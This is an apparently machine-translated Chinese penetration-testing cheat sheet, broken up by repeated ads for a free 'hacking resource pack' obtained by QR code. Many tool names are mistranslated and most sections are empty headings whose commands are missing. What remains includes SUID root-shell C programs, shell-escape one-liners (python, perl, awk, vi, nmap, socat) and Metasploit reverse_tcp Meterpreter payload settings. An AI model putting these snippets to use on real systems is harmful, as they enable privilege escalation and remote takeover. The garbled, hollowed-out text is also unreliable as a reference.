这是一份备忘录，有助于你全面了解渗透测试，是让你在渗透测试领域快速学习、参考、熟悉命令和技术的首选。

无论您是新手还是经验丰富的渗透测试人员，此备忘单都拥有您在安全评估世界中检索所需的一切。探索工具、方法和见解，以实现有效的侦察、枚举、权限提升、密码破解、漏洞利用研究等。利用这一宝贵的资源提升您的渗透测试技能！

侦察和枚举

NMAP 命令

Nmap（“网络映射器”）是一个免费的开源实用程序，用于网络发现和安全审计。它是系统和网络管理员用于网络清单、管理服务升级计划以及监控主机或服务正常运行时间等任务的多功能工具。Nmap在所有主要的计算机操作系统上运行，官方二进制包可用于Linux，Windows和Mac OS X。

我给大家准备了一份全套的《网络安全入门+进阶学习资源包》包含各种常用工具和黑客技术（网络安全）电子书以及视频教程，需要的小伙伴可以扫描下方二维码或链接免费领取~

SMB 枚举

在计算机网络中，服务器消息块 （SMB） 作为应用层网络协议运行，主要用于提供对文件、打印机和串行端口的共享访问。

其他主机发现方法

不使用 Nmap 的其他主机发现方法。

蟒蛇本地网络服务器

Python 本地 Web 服务器命令，方便在攻击机器上提供 shell 和漏洞利用。

装载文件共享

如何挂载NFS / CIFS，Windows和Linux文件共享。

基本指纹

设备指纹或机器指纹或浏览器指纹是为识别目的而收集的有关远程计算设备的信息。

SNMP 枚举

SNMP 枚举是使用 SNMP 枚举目标系统上的用户帐户的过程。

DNS 区域传输

DNSRecon

DNSRecon 提供了执行各种 DNS 枚举任务的能力。

dnsrecon -d TARGET -D /usr/share/wordlists/dnsmap.txt -t std --xml ouput.xml

HTTP / HTTPS Webserver Enumeration

数据包检测

用户名枚举

SMB 用户枚举

SNMP 用户枚举

密码

单词列表

HackToday博客上的大量单词列表

暴力破解服务

水螅

FTP 暴力破解

POP3 蛮力

SMTP 暴力破解

SSH 暴力破解

用于限制并发连接，例如：-t``-t 15

我给大家准备了一份全套的《网络安全入门+进阶学习资源包》包含各种常用工具和黑客技术（网络安全）电子书以及视频教程，需要的小伙伴可以扫描下方二维码或链接免费领取~

密码破解

John The Ripper – JTR

Hashcat

漏洞利用研究

编译漏洞

确定 C 代码是用于 Windows 还是 Linux

构建漏洞利用 GCC

GCC 在 32Bit Kali 上编译 64 位漏洞

在 Linux 上编译 Windows .exe

苏伊德二进制

SUID C Shell for /bin/bash

int main(void){  
       setresuid(0, 0, 0);  
       system("/bin/bash");  
}  

SUID C Shell for /bin/sh

int main(void){  
       setresuid(0, 0, 0);  
       system("/bin/sh");  
}  

构建 SUID 外壳二进制文件

TTY贝壳

Python TTY Shell Trick

python -c 'import pty;pty.spawn("/bin/bash")'

python3 -c 'import pty;pty.spawn("/bin/bash")'

生成互动 sh 外壳

/bin/sh -i

生成 Perl TTY 外壳

perl -e 'exec "/bin/sh";'

生成红宝石 TTY 外壳

ruby -e 'exec "/bin/sh"'

生成路亚TTY外壳

lua -e 'os.execute("/bin/sh")'

从 Vi 中生成 TTY 壳

:!bash

从 NMAP 生成 TTY 外壳

!sh

从awk生成TTY外壳

awk 'BEGIN {system("/bin/sh")}'

从索卡特生成TTY壳

socat file:tty``,raw,echo=0 tcp-listen:4444

我给大家准备了一份全套的《网络安全入门+进阶学习资源包》包含各种常用工具和黑客技术（网络安全）电子书以及视频教程，需要的小伙伴可以扫描下方二维码或链接免费领取~

Metasploit

仪表有效载荷

Windows 反向计量器有效负载

set payload windows/meterpreter/reverse_tcp

Windows VNC Meterpreter payload

set payload windows/vncinject/reverse_tcp

set ViewOnly false

Linux Reverse Meterpreter payload

set payload linux/meterpreter/reverse_tcp

安卓反向仪表有效载荷

set payload android/meterpreter/reverse_tcp

仪表备忘单

常见元模块

Remote Windows Metasploit Modules （exploits）

Local Windows Metasploit Modules （exploits）

辅助元模块

Metasploit Powershell Modules

后漏洞利用窗口元模块

联网

TTL 指纹识别

IPv4

有类的 IP 范围

注意：A、B、C 类已弃用

IPv4 专用地址范围

IPv4 子网备忘单

我给大家准备了一份全套的《网络安全入门+进阶学习资源包》包含各种常用工具和黑客技术（网络安全）电子书以及视频教程，需要的小伙伴可以扫描下方二维码或链接免费领取~

ASCII 表备忘单

对于Web应用程序渗透测试很有用，或者如果您被困在火星上并需要与NASA通信。

思科 IOS 命令

密码学

哈希长度

哈希示例

SQLMap 示例

网络安全学习资源分享:

给大家分享一份全套的网络安全学习资料，给那些想学习 网络安全的小伙伴们一点帮助！

对于从来没有接触过网络安全的同学，我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线，大家跟着这个大的方向学习准没问题。

因篇幅有限，仅展示部分资料，朋友们如果有需要全套《网络安全入门+进阶学习资源包》，请看下方扫描即可前往获取

👉1.成长路线图&学习规划👈

要学习一门新的技术，作为新手一定要先学习成长路线图，方向不对，努力白费。

对于从来没有接触过网络安全的同学，我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线，大家跟着这个大的方向学习准没问题。

👉2.网安入门到进阶视频教程👈

很多朋友都不喜欢晦涩的文字，我也为大家准备了视频教程，其中一共有21个章节，每个章节都是当前板块的精华浓缩。（全套教程扫描领取哈）

👉3.SRC&黑客文档👈

大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录

SRC技术文籍：

黑客资料由于是敏感资源，这里不能直接展示哦！ （全套教程扫描领取哈）

👉4.护网行动资料👈

其中关于HW护网行动，也准备了对应的资料，这些内容可相当于比赛的金手指！

👉5.黑客必读书单👈

👉6.网络安全岗面试题合集👈

当你自学到这里，你就要开始思考找工作的事情了，而工作绕不开的就是真题和面试题。

所有资料共282G，朋友们如果有需要全套《网络安全入门+进阶学习资源包》，可以扫描下方二维码或链接免费领取~